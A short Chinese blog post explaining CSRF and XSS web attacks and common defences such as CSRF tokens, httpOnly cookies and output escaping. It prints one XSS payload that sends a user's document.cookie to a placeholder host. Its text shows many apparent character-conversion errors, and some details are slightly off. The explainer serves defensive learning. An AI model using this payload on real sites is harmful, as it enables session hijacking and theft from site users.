網站攻擊中的csrf和xss

CSRF、XSS何方神聖

CSRF(Cross-site request forgery)

中文名字是跨站請求僞造,作的事情就是在別的網站,以你的名義對你登錄認      證過的網站搞事情。

XSS(Cross-site scripting)

中文名字是跨站腳本,作的事情就是在有漏洞的網站,寫個dom攻擊,或者存個另類的數據到網站數據庫,對使用網站的用戶形成困擾,屬於站內攻擊。

它們是怎麼令你流淚的

CSRF攻擊姿式

在B網站默默寫個可訪問A網站(用戶登錄過了,客戶端已經存儲cookie)的連接或者腳本。觸發方式有用戶不當心觸發(好比:點擊某個按鈕啥的),或者用iframe偷偷訪問,這時候會帶A網站的cookie去請求A服務器,由於用戶已經登錄過。若是服務器沒有作任何防禦,那B網站就開心了,能作的事情就有點多了,好比想去獲取一下你的好友列表信息,而後發垃圾郵箱啥的,再好比就是直接轉帳,把你錢都卷跑。。若是你作了防禦,B網站會嘗試投你所好,繼續攻擊,直到無法子。

XSS攻擊姿式

1. 檢查提交表單是否對用戶輸入有限制,若是限制沒作好,那攻擊者能夠寫入一段腳本、sql語句、包含html標籤的內容。
設想錄入文章的場景,攻擊者寫入的文章被用戶看到,可發生的事情有:執行js腳本(<script>window.open("xxx?cookie_hh="+document.cookie</script>)完了,用戶的cookie要丟了,有了用戶cookie,能作的事情就有點多了;或者可能會攻擊數據庫,操做數據,考驗你的數據庫承受能力。
2. 顯示內容根據url參數是否有關,進行參數攻擊。

怎麼保住本身的江山

CSRF預防措施

1. 使用cookie的httpOnly,設置爲true,就不能經過document.cookie
方式獲取用戶cookie。
2. 使用token,對每一個請求都設置一個token,尤爲是post, delete等危險
method,好比django就使用了csrf_token機制預防csrf。
3. 檢查reffer,檢測連接訪問來源。
4. 保證本身站內沒有xss,這樣用戶信息不易丟失,不給csrf假冒用戶的機
會。
5. 使用X-iframe-options頭部控制別的網站用iframe嵌入你的內容。
6. 利用框架自身特色,好比django的csrf_token。

XSS預防措施

1. 對用戶可輸入信息的地方保持警戒,作好防禦,好比轉義什麼的。
2. 強化數據庫,存入數據以前,考慮到安全性。
3. url中的參數考慮下encode
4. 利用框架自己功能,好比django默認會處理特殊字符
相關文章
相關標籤/搜索